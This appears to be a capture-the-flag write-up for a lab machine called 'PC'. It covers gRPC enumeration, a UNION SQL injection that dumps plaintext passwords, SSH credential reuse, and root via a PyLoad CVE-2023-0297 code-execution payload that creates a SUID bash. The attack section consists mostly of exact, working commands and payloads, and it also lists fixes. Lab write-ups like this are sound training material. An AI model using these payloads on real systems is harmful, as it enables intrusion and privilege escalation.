PC
Summary
Target pc ($TARGET) exposed only two services: SSH on port 22 and a custom gRPC application on port 50051. The gRPC server had reflection enabled, advertising a 'SimpleApp' service whose GetInfo method passed a caller-supplied identifier directly into a SQL query.
A UNION-based injection extracted the entire users table, which stored passwords in plaintext; the recovered credential for 'sau' worked identically as the system SSH password. Once inside, a PyLoad download-manager daemon was found running as root on localhost port 9666.
PyLoad 0.5.0b3.dev31 evaluated my own Python passed in the 'jk' POST parameter to its /flash/addcrypted2 endpoint without any authentication check (CVE-2023-0297). A single curl request created a SUID-root copy of bash, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered, for sau>"Attack path — how the box was taken
Exact commands 1
Version-scan both ports; confirms gRPC on 50051.
$ nmap -Pn -sV --open -p22,50051 $TARGET
22/tcp open ssh OpenSSH 8.2p1
50051/tcp open grpc Service detectionExact commands 5
Install grpcurl if not present on the attack host.
$ apt-get install -y grpcurl 2>/dev/null || go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latestList all services via reflection — returns SimpleApp.
$ grpcurl -plaintext $TARGET:50051 listEnumerate all RPC methods on SimpleApp.
$ grpcurl -plaintext $TARGET:50051 list SimpleAppRegister a throwaway account.
$ grpcurl -plaintext -d '{"username":"'"$USERNAME"'","password":"'"$USERNAME"'"}' $TARGET:50051 SimpleApp/RegisterUserLogin and capture the JWT token from the response message field.
$ grpcurl -plaintext -d '{"username":"'"$USERNAME"'","password":"'"$USERNAME"'"}' $TARGET:50051 SimpleApp/LoginUserFixDisable gRPC server reflection in productionMedium
Exact commands 1
Replace <JWT_FROM_STEP_2> with the token captured at login; returns sau:$PASSWORD.
$ grpcurl -plaintext -H 'token: <JWT_FROM_STEP_2>' -d '{"id":"1 UNION SELECT username || \":\" || password FROM accounts--"}' $TARGET:50051 SimpleApp/GetInfoFixParameterize all SQL queries and hash stored passwordsCritical
Exact commands 2
Confirms uid=1001(sau) — credential reuse validated.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET 'id; hostname'Reads the user flag -> <user.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET 'cat /home/sau/user.txt'FixEnforce unique OS credentials and disable SSH password authenticationHigh
Exact commands 2
Run from the sau SSH session; reveals 127.0.0.1:9666 LISTEN.
$ ss -tlnpConfirms the process runs as root.
$ ps aux | grep -i pyloadExact commands 2
Creates SUID-root /tmp/rootbash; confirm with ls -la output showing -rwsrwsrwx root root.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET "curl -s -d 'jk=pyimport os;os.system(\"cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash\");f=function f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' http://127.0.0.1:9666/flash/addcrypted2 >/tmp/pyload.out 2>/tmp/pyload.err; sleep 1; ls -la /tmp/rootbash"The -p flag preserves SUID effective UID (root); reads the root flag -> <root.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'FixPatch PyLoad (CVE-2023-0297) and run it as a least-privilege service accountCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
| 50051/tcp | grpc |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.